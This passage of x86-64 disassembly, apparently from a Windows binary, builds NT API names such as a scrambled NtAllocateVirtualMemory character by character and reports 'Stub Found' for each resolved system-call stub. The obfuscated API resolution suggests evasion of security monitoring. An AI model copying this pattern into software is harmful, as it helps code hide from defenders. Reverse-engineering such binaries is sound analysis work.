lea r8, [0x3a4e623bd]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x3a4e62397]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x17a0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x194f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1950]
mov rcx, qword [rbp + 0x3128]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da5ebb
lea rbx, [0x3a4e62377]
jmp 0x3a4da5ec2
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x1b7f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x1b7f]
lea rax, [rbp + 0x1b50]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x3a4e623b7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1af0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1ad0]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1a90]
lea rdx, [rbp + 0x1ab0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a90]
lea r8, [0x3a4e6235d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a70]
lea r8, [0x3a4e623bd]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a50]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a30]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x19f0]
lea rdx, [rbp + 0x1a10]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x1970]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1a10]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1a30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1a50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1a70]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1a90]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1b7f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1b80]
mov rcx, qword [rbp + 0x3120]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da6256
lea rbx, [0x3a4e62377]
jmp 0x3a4da625d
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x1e0f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x1e0f]
lea rax, [rbp + 0x1de0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x3a4e6235d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d80]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d40]
lea rdx, [rbp + 0x1d60]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d20]
lea rdx, [rbp + 0x1d40]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1d00]
lea rdx, [rbp + 0x1d20]
lea r8, [0x3a4e623a5]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ce0]
lea rdx, [rbp + 0x1d00]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1cc0]
lea rdx, [rbp + 0x1ce0]
lea r8, [0x3a4e623a7]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1cc0]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1ca0]
lea r8, [0x3a4e62373]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c80]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x1ba0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1c80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ca0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ce0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d00]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d20]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1e0f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1e10]
mov rcx, qword [rbp + 0x3118]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da6675
lea rbx, [0x3a4e62377]
jmp 0x3a4da667c
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x207f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x207f]
lea rax, [rbp + 0x2050]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x3a4e623bf]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1ff0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1fb0]
lea rdx, [rbp + 0x1fd0]
lea r8, [0x3a4e62399]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f90]
lea rdx, [rbp + 0x1fb0]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f70]
lea rdx, [rbp + 0x1f90]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f70]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f50]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f30]
lea r8, [0x3a4e623a3]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ef0]
lea rdx, [rbp + 0x1f10]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1ed0]
lea rdx, [rbp + 0x1ef0]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ed0]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x1e30]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ed0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f10]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f30]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f50]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f70]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1f90]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x207f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2080]
mov rcx, qword [rbp + 0x3110]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da6a68
lea rbx, [0x3a4e62377]
jmp 0x3a4da6a6f
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x22ef]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x22ef]
lea rax, [rbp + 0x22c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x3a4e623ab]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2260]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2220]
lea rdx, [rbp + 0x2240]
lea r8, [0x3a4e62399]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2220]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x21e0]
lea rdx, [rbp + 0x2200]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x21c0]
lea rdx, [rbp + 0x21e0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x21a0]
lea rdx, [rbp + 0x21c0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2180]
lea rdx, [rbp + 0x21a0]
lea r8, [0x3a4e623a3]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2160]
lea rdx, [rbp + 0x2180]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2140]
lea rdx, [rbp + 0x2160]
lea r8, [0x3a4e6239b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
lea r8, [0x3a4e6239d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x3a4e6236d]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x3a4e6239f]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x20a0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2140]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2160]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2180]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x21a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x21c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x21e0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2200]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x22ef]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x22f0]
mov rcx, qword [rbp + 0x3108]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da6e5b
lea rbx, [0x3a4e62377]
jmp 0x3a4da6e62
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x251f]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x251f]
lea rax, [rbp + 0x24f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a4e491c0
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x3a4e623c1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
lea r8, [0x3a4e6235f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2450]
lea rdx, [rbp + 0x2470]
lea r8, [0x3a4e62365]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2430]
lea rdx, [rbp + 0x2450]
lea r8, [0x3a4e62375]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2410]
lea rdx, [rbp + 0x2430]
lea r8, [0x3a4e623a1]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x23f0]
lea rdx, [rbp + 0x2410]
lea r8, [0x3a4e623a3]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x23d0]
lea rdx, [rbp + 0x23f0]
lea r8, [0x3a4e62367]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
lea r8, [0x3a4e62363]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
lea r8, [0x3a4e6236f]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x3a4e6235b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x3a4e6236b]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x3a4e62361]
mov rcx, rax
call fcn.3a4e59d40
lea rax, [rbp + 0x2310]
lea rdx, [rbp + 0x2330]
lea r8, [0x3a4e623ad]
mov rcx, rax
call fcn.3a4e59d40
lea rdx, [rbp + 0x2310]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e49920
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x23b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x23d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x23f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2410]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2430]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.3a4e498e0
lea rax, [rbp + 0x251f]
mov rcx, rax
call fcn.3a4e11890
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.3a4e48d30
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2520]
mov rcx, qword [rbp + 0x3100]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a4da13fd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.3a4e498e0
cmp dword [rbp + 0x30a4], 0
je 0x3a4da71f6
lea rbx, [0x3a4e62377]
jmp 0x3a4da71fd
lea rbx, [0x3a4e6237c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4dcf060
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a4da1370
lea rax, [rbp + 0x26ef]
mov rcx, rax
call fcn.3a4e11860
lea rdx, [rbp + 0x26ef]
lea rax, [rbp + 0x26c0]
mov r8, rdx
